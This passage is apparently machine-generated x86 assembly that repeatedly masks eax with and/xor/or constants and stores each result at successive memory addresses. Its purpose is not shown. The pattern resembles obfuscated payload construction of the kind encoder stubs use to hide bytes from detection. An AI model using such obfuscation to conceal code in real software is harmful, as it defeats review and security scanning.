mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bf0ba93
xor eax, 0x740e2e3
and eax, 0x1c004020
or eax, 0xa12d0f07
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13f90359
xor eax, 0x40519abd
and eax, 0x8c209580
or eax, 0x22831
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a22176a
xor eax, 0x1d1df379
and eax, 0x15124019
or eax, 0x40401980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34ccaadf
or eax, 0x2aa2e85d
and eax, 0x40882946
or eax, 0x90410020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b5ce1e1
and eax, 0x83840080
or eax, 0x50682570
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16f60f1
and eax, 0x530b64c0
or eax, 0x8101002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x642b7e7d
or eax, 0x70c51b3a
and eax, 0x10800140
or eax, 0x8300005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c9023b3
xor eax, 0x4390a8c4
and eax, 0x4a002181
or eax, 0x20841412
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bfb373d
and eax, 0x7dde9b2a
and eax, 0x1540228
or eax, 0x1681dc44
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6af251f2
and eax, 0x501040
or eax, 0xe90d2182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26296da
and eax, 0x8052b652
or eax, 0x24
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48cbf5ed
xor eax, 0x1587bfd3
and eax, 0x55104024
or eax, 0x22039282
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x270248cf
and eax, 0x2aca0247
and eax, 0x201
or eax, 0x38e001c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bcc47b1
or eax, 0xf2905b2
and eax, 0x5a50793
or eax, 0xe0029000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59a6ab5d
and eax, 0x848110
or eax, 0xc0858c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71cf81b6
xor eax, 0x345358e9
and eax, 0x8100000
or eax, 0x80275540
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18527401
and eax, 0x17a7b2ba
and eax, 0x50000
or eax, 0x64a8406
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63b1f94a
xor eax, 0x44b2e7a8
and eax, 0x220d1220
or eax, 0x98302018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32c66896
and eax, 0x808058aa
or eax, 0x10040441
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6199b1fd
xor eax, 0x7ca12b70
and eax, 0x64010b10
or eax, 0x819c8062
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb1983a1
and eax, 0x498d0af1
or eax, 0x605000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1cb500f
xor eax, 0x4c5ebdb2
and eax, 0x78a044
or eax, 0x6a804083
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4417120f
and eax, 0x100006
or eax, 0x72d1118
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ab89a4a
and eax, 0x7679e7fe
and eax, 0x10000
or eax, 0x4b460420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x344bd919
xor eax, 0x7c6ea82c
and eax, 0x602001
or eax, 0xf0088282
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58007b84
xor eax, 0x7eb97b3a
and eax, 0x28080b8
or eax, 0x202a6a42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14c876e3
and eax, 0x16e2a641
or eax, 0xc0040100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dc013e8
and eax, 0x3169197b
and eax, 0x1001001
or eax, 0x1c0884d6
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34b10460
and eax, 0x14000400
or eax, 0x8151692e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51a7a9bb
and eax, 0x11054d99
or eax, 0x28080000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2cb26704
and eax, 0x156118
or eax, 0xc2400022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1bc28ff3
and eax, 0x4800c8c1
or eax, 0x481000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b808cf7
and eax, 0x80c0
or eax, 0x37da6228
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51348570
xor eax, 0x1bf67012
and eax, 0x2442060
or eax, 0xd1080c8d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c261cbe
and eax, 0x66682cee
or eax, 0x908100
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe7c65e0
and eax, 0x2080520
or eax, 0x9059a04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x604afc63
and eax, 0x88000
or eax, 0xfbd2209c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42d6078b
and eax, 0x32cb5a73
and eax, 0x80213
or eax, 0xc0261140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43e1db9f
or eax, 0x2e492437
and eax, 0xc07e87b
or eax, 0x50000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b6ae52a
xor eax, 0x4a72b8c0
and eax, 0x340b0481
or eax, 0x2004b62
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19a5a27
and eax, 0x25131302
or eax, 0x4004a008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d104d38
and eax, 0x537245a9
and eax, 0x124408
or eax, 0xb6ec0ad4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29bf02ee
and eax, 0xd400c22
or eax, 0x181389
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e48f25d
and eax, 0x8081209
or eax, 0x42b7e154
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29f7582c
and eax, 0x186bf6ec
and eax, 0x862126c
or eax, 0xb1000990
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26419764
and eax, 0x401320
or eax, 0xcf39080b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fde3dee
or eax, 0x213f1a11
and eax, 0x509d2884
or eax, 0x440802a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73fd7905
and eax, 0x40512800
or eax, 0x8f00009b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x303ce211
and eax, 0x2010
or eax, 0xb700cd42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12723725
or eax, 0x4bbaf187
and eax, 0x98da96b0
or eax, 0x10008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c366d76
and eax, 0x80e5d908
or eax, 0x9000021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x26087522
and eax, 0x2501ac02
or eax, 0x40105100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4574cf0c
and eax, 0x4510c800
or eax, 0x386e32f7
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f903eb3
xor eax, 0x382fab1c
and eax, 0x43d155c8
or eax, 0x8024aa04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x207c91b3
and eax, 0x1ba49b2e
and eax, 0x80082a
or eax, 0x683a9051
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x570ff1c2
or eax, 0xe8a92b3
and eax, 0x300d6911
or eax, 0x40400444
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e1711c3
xor eax, 0x27553fda
and eax, 0x680a4208
or eax, 0x280ac90
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10d31338
and eax, 0xa82d338
or eax, 0x84240002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11c74900
and eax, 0x9e40c80a
or eax, 0x60180085
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd9dcce0
and eax, 0x3cefbd94
and eax, 0x10c50004
or eax, 0x441a03a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76d4af7e
and eax, 0x561828e8
or eax, 0x81001000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27d412fe
and eax, 0x3001080
or eax, 0x30428214
mov dword [ebx], eax
add ebx, ecx
and eax, 0x279abde6
and eax, 0x3021084
or eax, 0xccf96b3b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e587a0e
and eax, 0x40800000
or eax, 0x4448
mov dword [ebx], eax
add ebx, ecx
and eax, 0xac8903a
or eax, 0x5dacc1f9
and eax, 0x1d80c0f8
or eax, 0x82013800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f6a3a12
and eax, 0x56110a8
or eax, 0x40505
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77c2a02b
and eax, 0x2ac577e3
and eax, 0x21
or eax, 0x350ca888
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d42a3dc
and eax, 0x19241ec6
and eax, 0x11000000
or eax, 0x8839fd51
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a2d94a2
and eax, 0x1af6c30
and eax, 0x810
or eax, 0xfa68078f
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc7c086f
and eax, 0xbe280e5a
or eax, 0x2b000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a755a18
and eax, 0x5f1d04d9
and eax, 0x18000008
or eax, 0xe5be2466
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75aa1f5b
and eax, 0x88143935
or eax, 0x12e38400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64dd58f6
xor eax, 0xf84d7b7
and eax, 0x70702040
or eax, 0x4d5a8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6acd3d9
and eax, 0x34183139
or eax, 0x89010004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x211325e4
and eax, 0x4000498
or eax, 0x62b4c326
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x670ba8a1
or eax, 0x573f11ca
and eax, 0x152363df
or eax, 0x88408000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x761125ad
and eax, 0xd101e561
or eax, 0x880800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23336582
and eax, 0x1c986faf
and eax, 0x10104800
or eax, 0xa522921c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x522bef1a
xor eax, 0x67b465f4
and eax, 0x800708e0
or eax, 0x63404404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x729240b1
and eax, 0x5787e6fb
and eax, 0x430144d0
or eax, 0x8800890e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7dae3505
and eax, 0x6a767125
and eax, 0x2224001
or eax, 0x4d408b92
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64e647c
xor eax, 0x29b0bcfc
and eax, 0x69e0200
or eax, 0x921a8a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x595cadd6
or eax, 0x54ab2a91
and eax, 0x14a4a091
or eax, 0x20005528
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c65bcdf
and eax, 0x8010142
or eax, 0x57128280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17fc000a
or eax, 0x1b0e2493
and eax, 0x1060a451
or eax, 0x20000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x265d86df
and eax, 0x16418292
or eax, 0x80005000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc3acae9
xor eax, 0x482b5b22
and eax, 0x440390a2
or eax, 0xa1d04658
mov dword [ebx], eax
add ebx, ecx
or eax, 0x794b1bed
xor eax, 0xe7c5b7f
and eax, 0x61058400
or eax, 0x4235
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64613a4f
xor eax, 0x3b5cec3e
and eax, 0x42300001
or eax, 0x2140440a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a2b25c2
and eax, 0x58136000
or eax, 0xa4841a16
mov dword [ebx], eax
add ebx, ecx
and eax, 0x140adca6
or eax, 0x5bd1e66e
and eax, 0x303226a
or eax, 0x20080181
mov dword [ebx], eax
add ebx, ecx
or eax, 0x977598b
and eax, 0x206428c2
or eax, 0x14000014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ee43b11
and eax, 0xe040890
or eax, 0x810a8400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12d803c5
and eax, 0x6f15c1f2
and eax, 0x2000080
or eax, 0x19eef252
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c3c3829
or eax, 0x6eba0f78
and eax, 0x5459cb
or eax, 0x80000004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11b765af
and eax, 0x1213c20
or eax, 0x20c018d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x115c1f31
xor eax, 0x6464f8b9
and eax, 0x21686408
or eax, 0x12130804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24aa8b68
and eax, 0x200a0808
or eax, 0xdc540400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71719259
and eax, 0x60000008
or eax, 0x8809fcf0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c4d74ed
or eax, 0x21356d39
and eax, 0x41092939
or eax, 0x84400204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5931938d
and eax, 0x30f1d876
and eax, 0x10004
or eax, 0xfb04fda8
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa97293a
and eax, 0x50100
or eax, 0x812a42c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ff0aa68
and eax, 0x846a824a
or eax, 0x10000414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x163fff07
and eax, 0x10288600
or eax, 0x28150078
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa33f9d8
and eax, 0x4353cc39
and eax, 0x4400
or eax, 0x3494a0ca
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3024da26
and eax, 0x2400fac4
or eax, 0xc1090010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2518283c
xor eax, 0x174838d9
and eax, 0x80500225
or eax, 0x50a1042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61a0f6e6
xor eax, 0x174f72da
and eax, 0x14066010
or eax, 0xc1209241
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d3ac96a
or eax, 0x5136956f
and eax, 0x18140242
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfd407e9
and eax, 0x100040
or eax, 0x66885084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x227b73ee
and eax, 0x62e24248
or eax, 0x19040001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b794164
and eax, 0x33604040
or eax, 0x4068a1d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x525c290a
and eax, 0x2040800
or eax, 0x21002195
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7862a981
and eax, 0x5c1166a0
and eax, 0x8000000
or eax, 0x26db67d2
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb89ccd9
and eax, 0x8944d0
or eax, 0x80148901
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b2206b0
and eax, 0x410
or eax, 0x7cfc3965
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fe7656a
and eax, 0x22101000
or eax, 0xc4608020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a24b71c
xor eax, 0x324a8f33
and eax, 0x9c1c0002
or eax, 0x61001140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c2b2c4b
and eax, 0x18080042
or eax, 0xf0c5a9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66656a5c
or eax, 0x3b0ee473
and eax, 0x2b0e8478
or eax, 0x811284
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dbc4c21
and eax, 0x9800420
or eax, 0x22334259
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2dcbb2d6
and eax, 0x782a67d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x492f07e3
and eax, 0x480d810c
or eax, 0x21424860
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x195cbfa0
and eax, 0x30016600
or eax, 0x4c08902
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f992e81
and eax, 0x63508000
or eax, 0x84272828
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63e7fdc0
and eax, 0x1018000
or eax, 0x8880210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f11f331
xor eax, 0x4f3d7eff
and eax, 0x248c4a
or eax, 0xa5a5230
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d7a5823
xor eax, 0xf4e3f63
and eax, 0x28400102
or eax, 0xc78100c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x260e6d3a
and eax, 0x4a84689a
or eax, 0x100001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30ba884
and eax, 0x49194002
or eax, 0x30402a20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x755e6a91
xor eax, 0x3db531fe
and eax, 0x30a2004c
or eax, 0x824c0622
mov dword [ebx], eax
add ebx, ecx
or eax, 0x777a7b67
and eax, 0x504e6f46
or eax, 0x8010010
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc1e616a
and eax, 0x6c9b7903
and eax, 0x4106000
or eax, 0x20641004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c604358
and eax, 0x4400000
or eax, 0xd996a40b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d9d7439
and eax, 0x99452032
or eax, 0x22001c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e0b232e
or eax, 0x43842b9e
and eax, 0xa040a9a
or eax, 0x14089000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a545d31
and eax, 0x2000010
or eax, 0x417b47c6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x769bca91
and eax, 0x800d05
or eax, 0x480b20b8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73dfd12d
and eax, 0x40800120
or eax, 0x824b602
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22f20696
and eax, 0x5c8aca89
and eax, 0x800000
or eax, 0xc00b4464
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d99a6f0
and eax, 0x9993c2e4
or eax, 0x2220000a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x676c801f
and eax, 0x2320800a
or eax, 0xc4543b91
mov dword [ebx], eax
add ebx, ecx
and eax, 0x549192b7
and eax, 0x109293
or eax, 0x9b8a0928
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3af01f9f
and eax, 0x3f7019f6
and eax, 0x1a101102
or eax, 0xa4634245
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c5e1d5d
and eax, 0x8224421a
or eax, 0x4522024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43fcdcad
and eax, 0x1800682
or eax, 0x2021400c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e3d83e2
and eax, 0x7b04456c
or eax, 0x80033011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c129959
or eax, 0x5199b9c9
and eax, 0x5392f805
or eax, 0x600202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56d98a41
and eax, 0x690d245
or eax, 0x8040580
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x476ac646
and eax, 0x8ea1001
or eax, 0x30012a00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f36e453
or eax, 0x3710968a
and eax, 0x10050418
or eax, 0x2100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71562cd0
and eax, 0x54afbcab
and eax, 0x40400
or eax, 0xcffac0cc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x304d2ec3
or eax, 0x167b2eba
and eax, 0x2bd6224e
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1926357d
or eax, 0xbe6675c
and eax, 0x13b6344f
or eax, 0x18880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6597b88b
and eax, 0x56200444
or eax, 0x828b0a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5248f352
and eax, 0x4a2540c
or eax, 0xaa110282
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6afc50a8
and eax, 0xa804088
or eax, 0x4047a915
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x405812bb
and eax, 0x4880797e
and eax, 0x802806
or eax, 0x22640098
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50ccf46e
and eax, 0x840008
or eax, 0xff2a1b21
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb4d1043
or eax, 0x5e2c0afe
and eax, 0x50291b33
or eax, 0x102000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5487d76f
and eax, 0x70113705
and eax, 0x100
or eax, 0x20d6ece8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30a314ab
and eax, 0x654140
or eax, 0x4c0802a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f53ce1a
xor eax, 0x5bbc682f
and eax, 0x28024004
or eax, 0xd1600208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37366ceb
and eax, 0x30000000
or eax, 0xcc48b501
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1233a78
and eax, 0x7d6b8101
or eax, 0x2844000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc04ef54
and eax, 0x4048000
or eax, 0xa0082418
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14718d6a
and eax, 0xb0600d50
or eax, 0x4b800001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7894bac3
and eax, 0x80301610
or eax, 0x4c094844
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21bb0168
and eax, 0xcd0a4650
or eax, 0x2040000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52201386
and eax, 0x200
or eax, 0xb525b14f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bd8007f
and eax, 0xc42c2010
or eax, 0x24049
mov dword [ebx], eax
add ebx, ecx
or eax, 0x299a6971
or eax, 0x56cf425e
and eax, 0x189c6b6a
or eax, 0x8480
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78c7e55f
and eax, 0x401a0ab1
or eax, 0x1e24550a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d1b835d
and eax, 0x1020cc40
or eax, 0xa4180109
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6139d1de
and eax, 0x20c008
or eax, 0x9e023080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x683eabdf
and eax, 0xb4081310
or eax, 0x630008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34698f6b
and eax, 0x6b8303
or eax, 0xb840080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x363eea5b
and eax, 0x22e8202
or eax, 0xd0903970
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11b0a0af
and eax, 0x40a080a0
or eax, 0x28004000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6351a4bb
and eax, 0x200001b
or eax, 0x60020980
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28ea590
or eax, 0x69ff3646
and eax, 0x2a1e0a46
or eax, 0x90004020
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa81fe1b
and eax, 0x8000a02
or eax, 0xf0acb1d9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13c1e989
and eax, 0x67c184ef
and eax, 0x1410002
or eax, 0x98900f09
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d81a04
and eax, 0x76cd56c6
and eax, 0x2c11402
or eax, 0xcc044149
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64c2b552
and eax, 0x4401402
or eax, 0x1b0ee284
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7762ff16
and eax, 0x6248194
or eax, 0x10029
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42b0104
and eax, 0x4210104
or eax, 0x1d6caca
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34bf3a93
and eax, 0x11086115
or eax, 0x44110820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x664c6ad8
and eax, 0x201529a0
or eax, 0x208000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29b0ce39
and eax, 0x108000
or eax, 0x1c37704
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7db2003d
and eax, 0x2092010d
or eax, 0x82000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73cdf256
and eax, 0x4181b111
or eax, 0x42008a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5962e411
and eax, 0x8c05520
or eax, 0xe030a01c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x762f464c
and eax, 0x5acbd05f
and eax, 0x12818010
or eax, 0xe1202d8d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d703cb6
and eax, 0x74703183
or eax, 0x84240
mov dword [ebx], eax
add ebx, ecx
and eax, 0xaa56d52
and eax, 0x204140
or eax, 0xb5959895
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x739fc99
and eax, 0x77770081
and eax, 0x10000000
or eax, 0x4c5990a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59c22e87
xor eax, 0x1f175f94
and eax, 0x4044a018
or eax, 0x10100844
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44a083ee
or eax, 0x785eacb0
and eax, 0x2464a29c
or eax, 0x1015000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23b8ab4d
and eax, 0x9d4181
or eax, 0x9122022a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2873ea4b
and eax, 0x805969e0
or eax, 0x46001014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54d86130
or eax, 0x86887ba
and eax, 0x16416414
or eax, 0x20020001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c4f72d3
and eax, 0x4450b1f0
and eax, 0x4402050
or eax, 0x111e822e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4974375c
and eax, 0x657a8fe8
and eax, 0x1400008
or eax, 0x68070c86
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618b9c5d
or eax, 0x44cfb450
and eax, 0xcce2452
or eax, 0x2104224
mov dword [ebx], eax
add ebx, ecx
and eax, 0x59cd85ae
or eax, 0x7b56480f
and eax, 0x7b144827
or eax, 0x4013150
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16d344e4
xor eax, 0x405d4f91
and eax, 0x20036000
or eax, 0x12408030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4af63870
xor eax, 0x41e5982f
and eax, 0x1a38006
or eax, 0xac084200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x463c65b1
and eax, 0x8b8f4301
or eax, 0x10000848
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f030c2c
and eax, 0xa542c3c
and eax, 0x420
or eax, 0xfc181b03
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4289771d
and eax, 0x40000600
or eax, 0x3f3340fe
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e76dcf7
and eax, 0x11418001
or eax, 0x280a01d2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bfab7e5
and eax, 0x1000080
or eax, 0x851438
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d85b739
and eax, 0x2cb42ece
and eax, 0x200
or eax, 0x52d2c86b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13dd2f85
and eax, 0x10400800
or eax, 0xcd2540b4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4e32c59b
and eax, 0x29dd8dbc
and eax, 0x8000090
or eax, 0xd1dc2e4c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x107e5cb
and eax, 0x1019c115
or eax, 0x22042060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40ead21d
and eax, 0x2a7735d
or eax, 0x88000c02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47363866
and eax, 0x4cbf38b3
and eax, 0x900001
or eax, 0x2266eec6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3254094a
xor eax, 0x53262eb4
and eax, 0x40840928
or eax, 0x940b0282
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4dbc74c4
and eax, 0x1025b64
or eax, 0x60408090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bd33115
or eax, 0xf8183a5
and eax, 0x3800921
or eax, 0xb0460008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d4e5aa1
and eax, 0x6005380
or eax, 0x41760c23
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71d7a333
and eax, 0x3421e000
or eax, 0x485c0045
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ee1e392
xor eax, 0x194f3ab4
and eax, 0x1828842
or eax, 0x8805269c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53a29214
and eax, 0xd8221010
or eax, 0x584000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x558dd35b
xor eax, 0x14c0dab1
and eax, 0x8245820
or eax, 0x64008004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6828da43
and eax, 0x60008000
or eax, 0x95c2014c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa5e14df
xor eax, 0x39c8e092
and eax, 0x82101501
or eax, 0x292b00e8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x309af93
and eax, 0xa010a848
or eax, 0x14844585
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x508d11ae
or eax, 0x61b73a31
and eax, 0x199b470
or eax, 0x8000088
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f3d3de9
or eax, 0x513738a7
and eax, 0x46a6a8a6
or eax, 0xa8080648
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6837932
and eax, 0x2b19834c
and eax, 0
or eax, 0x24e75e62
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ea7fb55
and eax, 0x6764e248
